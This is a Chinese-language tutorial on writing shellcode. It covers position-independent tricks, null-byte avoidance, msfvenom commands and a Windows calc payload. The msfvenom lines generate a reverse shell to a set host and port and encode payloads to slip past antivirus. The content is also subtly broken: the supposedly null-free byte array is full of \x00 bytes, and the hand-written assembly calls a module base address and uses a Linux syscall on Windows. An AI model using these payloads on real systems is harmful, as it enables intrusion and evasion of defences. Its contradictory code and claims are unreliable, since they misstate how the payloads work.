Shellcode编写基础:从零开始打造你的第一段Shellcode
Shellcode,这个名字听起来有点酷,对吧?我第一次接触它的时候,还以为是什么神秘的shell脚本。其实说白了,Shellcode就是一段精心构造的机器码,能让目标程序执行我们想要的操作——比如弹个计算器、开个反向shell,或者干脆把系统控制权拿过来。
我当年在分析一个恶意样本时,第一次真正见识到Shellcode的威力。那段代码只有区区几十个字节,却能让一个看似正常的PDF文件在打开瞬间就建立起C2连接。嗯,从那时起我就决定,这东西必须得搞明白。
什么是Shellcode?
Shellcode本质上是一段二进制指令,通常以十六进制形式存在。它被注入到目标进程的内存中,然后通过某种漏洞(比如缓冲区溢出)劫持执行流,让CPU去跑这段代码。
为什么叫"Shell"code?因为最早的Shellcode就是用来弹出一个shell的——/bin/sh。现在它的功能早就扩展了,但名字保留了下来。
Shellcode的编写原则
写Shellcode和写普通程序完全是两码事。普通程序有操作系统帮你打理一切,但Shellcode是"裸奔"的。这里有两个铁律,我当年踩过的坑全在这上面。
原则一:位置无关代码(PIC)
你想想看,Shellcode被注入到目标进程后,它根本不知道自己会被放在内存的哪个地址。所以代码里不能出现任何绝对地址引用——不能写死函数地址、不能写死变量地址、不能写死字符串地址。
我习惯用相对寻址来解决这个问题。比如在x86上,经典的call/pop技巧:
; 获取当前指令地址
call next
next:
pop ebx ; ebx 现在指向 next 标签的地址
; 后面就可以用 ebx 作为基址来访问数据了
在x64下,我更喜欢用lea rax, [rel $]这种RIP相对寻址方式,更干净。
原则二:避免空字节(NULL-free)
空字节(0x00)是Shellcode的天敌。为什么?因为大多数漏洞利用场景中,Shellcode是通过字符串函数(如strcpy)拷贝到目标缓冲区的。这些函数遇到0x00就认为字符串结束了,后面的代码根本拷不过去。
我举个例子,假设你想执行int 0x80系统调用,在x86上这条指令是\xcd\x80——没有空字节,安全。但如果你写mov eax, 0,对应的机器码是\xb8\x00\x00\x00\x00,四个空字节,直接完蛋。
怎么避免?常用的技巧包括:
- 用XOR清零寄存器:
xor eax, eax代替mov eax, 0 - 用符号扩展:比如
push byte 0x41然后pop eax - 用移位构造大数:
mov eax, 0xffffffff然后sub eax, 0x... - 用自增/自减:
inc eax循环到目标值
push 0x0068732f 这条指令里就藏着空字节,因为0x00被编码在立即数里了。
使用MSFvenom生成Shellcode
手写Shellcode虽然很酷,但效率太低。实际工作中,我大部分时候都用MSFvenom来生成。它是Metasploit框架里的工具,支持各种平台、各种编码方式。
基本用法很简单:
# 生成Windows下弹出计算器的Shellcode
msfvenom -p windows/exec CMD=calc.exe -f c
# 生成Linux下反弹Shell的Shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
# 编码绕过杀软
msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -i 5 -f c
参数说明:
| 参数 | 含义 |
|---|---|
| -p | 指定payload类型 |
| -f | 输出格式(c, python, raw, hex等) |
| -e | 编码器,用于消除空字节或规避检测 |
| -i | 编码迭代次数,越多越难检测 |
| -b | 要避免的坏字符,如 \x00\x0a\x0d |
-x 参数指定一个合法的PE文件作为载体,或者用 --smallest 生成最小体积的Shellcode。记住,生成Shellcode只是第一步,怎么加载和执行才是关键。
实战:编写一个弹出计算器的Shellcode
好了,理论说完了,咱们动手写一个。目标:Windows下弹计算器。我会用两种方式实现,一种是手写汇编,一种是用MSFvenom生成。
方式一:手写汇编(x86)
思路很简单:调用 WinExec 函数,传入 "calc.exe" 字符串。难点在于怎么获取 WinExec 的地址——这需要从PEB(进程环境块)里遍历Kernel32的导出表。
; 弹出计算器的Shellcode (x86, NULL-free)
BITS 32
; 获取Kernel32基址
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; PEB
mov eax, [eax + 0x0c] ; LDR
mov eax, [eax + 0x14] ; InMemoryOrderModuleList
mov eax, [eax] ; 第二个模块(ntdll)
mov eax, [eax] ; 第三个模块(kernel32)
mov eax, [eax + 0x10] ; kernel32基址
; 这里省略了遍历导出表找WinExec的代码
; 实际需要解析PE头、导出表,找到函数地址
; 调用 WinExec("calc.exe", 1)
push 1
push 0x6578652e ; ".exe"
push 0x636c6163 ; "calc"
push esp ; 指向 "calc.exe"
call eax ; WinExec
; 退出
xor eax, eax
inc eax ; eax = 1 (ExitProcess)
int 0x80 ; 这里其实应该用ExitProcess,简化处理
这段代码我简化了查找函数地址的部分,实际完整实现大概需要100字节左右。你想想看,要在100字节内完成PEB遍历、导出表解析、字符串构造、函数调用——这就是Shellcode的魅力。
方式二:用MSFvenom生成
还是那句话,手写太累,用工具吧:
msfvenom -p windows/exec CMD=calc.exe -b '\x00' -f c
# 输出类似:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77"
"\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50"
"\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x63\x61\x6c\x63\x89"
"\xe0\x50\x50\x6a\x01\x89\xe2\x50\x52\x53\xb8\xc0\xa8\x04\x01"
"\xff\xd0";
看到没?生成的Shellcode里没有一个0x00字节。它用了shikata_ga_nai编码器,把原始指令做了多态变换,既消除了空字节,又能绕过一些简单的特征检测。
xxd 或 od 检查一遍,确认没有空字节。命令:echo "shellcode_hex" | xxd -r -p | xxd。养成这个习惯,能省去很多调试时间。
知识体系总览
下面这张图概括了Shellcode编写的核心逻辑:
这张图把Shellcode编写的核心脉络理清楚了。从最上层的概念,到三大编写原则,再到具体的实现方式和关键技术,最后落到执行任意代码这个终极目标上。我建议你把这个图记在脑子里,以后写Shellcode时按这个框架来思考,不容易漏掉关键点。
好了,关于Shellcode的基础知识就讲到这里。记住,写Shellcode就像做微雕——在极小的空间里完成精确的操作。多练、多调试、多分析别人的代码,慢慢你就能找到感觉了。